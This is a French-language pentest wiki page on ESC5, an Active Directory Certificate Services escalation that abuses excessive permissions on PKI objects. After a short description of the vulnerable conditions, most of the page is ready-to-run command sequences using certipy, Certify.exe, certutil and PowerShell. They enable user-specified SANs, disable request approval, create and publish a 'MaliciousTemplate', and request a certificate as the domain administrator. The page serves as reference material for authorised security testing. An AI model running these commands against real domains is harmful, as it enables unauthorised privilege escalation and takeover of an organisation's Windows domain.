Aller au contenu

ESC5

Description

ESC5 exploite des permissions trop permissives sur les objets de l'infrastructure PKI (Certificate Authority, Certificate Templates container, ou autres objets critiques), permettant à un utilisateur de modifier la configuration de l'autorité de certification ou de créer de nouveaux modèles vulnérables.

Conditions vulnérables

ESC5 se produit quand un utilisateur a des permissions dangereuses sur :

  1. L'objet Certificate Authority - Droits WriteProperty, WriteOwner, WriteDacl, ou FullControl sur la CA
  2. Le container Certificate Templates - Permissions permettant de créer/modifier des templates
  3. L'objet Configuration PKI - Contrôle sur la configuration générale de la PKI
  4. Objets NTAuthCertificates - Permissions sur les certificats de confiance pour l'authentification

Exploitation depuis linux (certipy)

Enumération des objets PKI vulnérables :

certipy find -u [email protected] -p password -target dc01.domain.local

# Énumération avec sortie JSON pour analyse détaillée des permissions PKI
certipy find -u [email protected] -p password -target dc01.domain.local -json -output pki_permissions.json 

# Recherche spécifique des permissions sur les objets PKI
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A15 "Certificate Authorities\|PKI Objects"

Modification des permissions de la CA :

# Ajout de permissions sur la CA pour permettre l'approbation de demandes
certipy ca -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -enable-user-specified-san

# Modification des paramètres de la CA
certipy ca -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -disable-request-approval

Création d'un nouveau template vulnérable :

# Création d'un template ESC1 personnalisé
certipy template -u [email protected] -p password -target dc01.domain.local -template 'MaliciousTemplate' -create -enable-enrollee-supplies-subject -client-auth

# Publication du template sur la CA
certipy ca -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -add-template 'MaliciousTemplate'

Exploitation du template créé :

# Demande d'un certificat administrateur avec le nouveau template
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'MaliciousTemplate' -upn [email protected]

Exploitation depuis windows (certify.exe + PowerShell)

Enumération des objets PKI vulnérables :

# Énumération des modèles et objets PKI vulnérables 
Certify.exe find /vulnerable 

# Recherche spécifique des permissions sur les objets PKI
Certify.exe find /vulnerable | findstr "Certificate Authorities\|PKI Objects"

# Vérification manuelle des permissions sur la CA
Get-ADObject -Filter {objectClass -eq "certificationAuthority"} -Properties * | ForEach-Object {
    Get-Acl -Path "AD:$($_.DistinguishedName)"
}

Modification des paramètres de la CA via PowerShell :

# Modification des paramètres de la CA (nécessite des permissions appropriées)
certutil -setreg CA\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

# Redémarrage du service de la CA pour appliquer les changements
Restart-Service CertSvc

Création d'un template malveillant :

# Création d'un nouveau template via duplication
$sourceTemplate = Get-ADObject -Filter {cn -eq "User"} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties *

# Création du template malveillant
$newTemplate = $sourceTemplate.Clone()
$newTemplate.Name = "MaliciousTemplate"
$newTemplate."msPKI-Certificate-Name-Flag" = 1  # ENROLLEE_SUPPLIES_SUBJECT
New-ADObject -Type pKICertificateTemplate -Name "MaliciousTemplate" -Path "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -OtherAttributes $newTemplate.Attributes

# Publication du template sur la CA
certutil -SetCATemplates +MaliciousTemplate

Exploitation du template créé :

# Demande de certificat avec le template malveillant
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:MaliciousTemplate /subject:"CN=administrator,CN=Users,DC=domain,DC=local"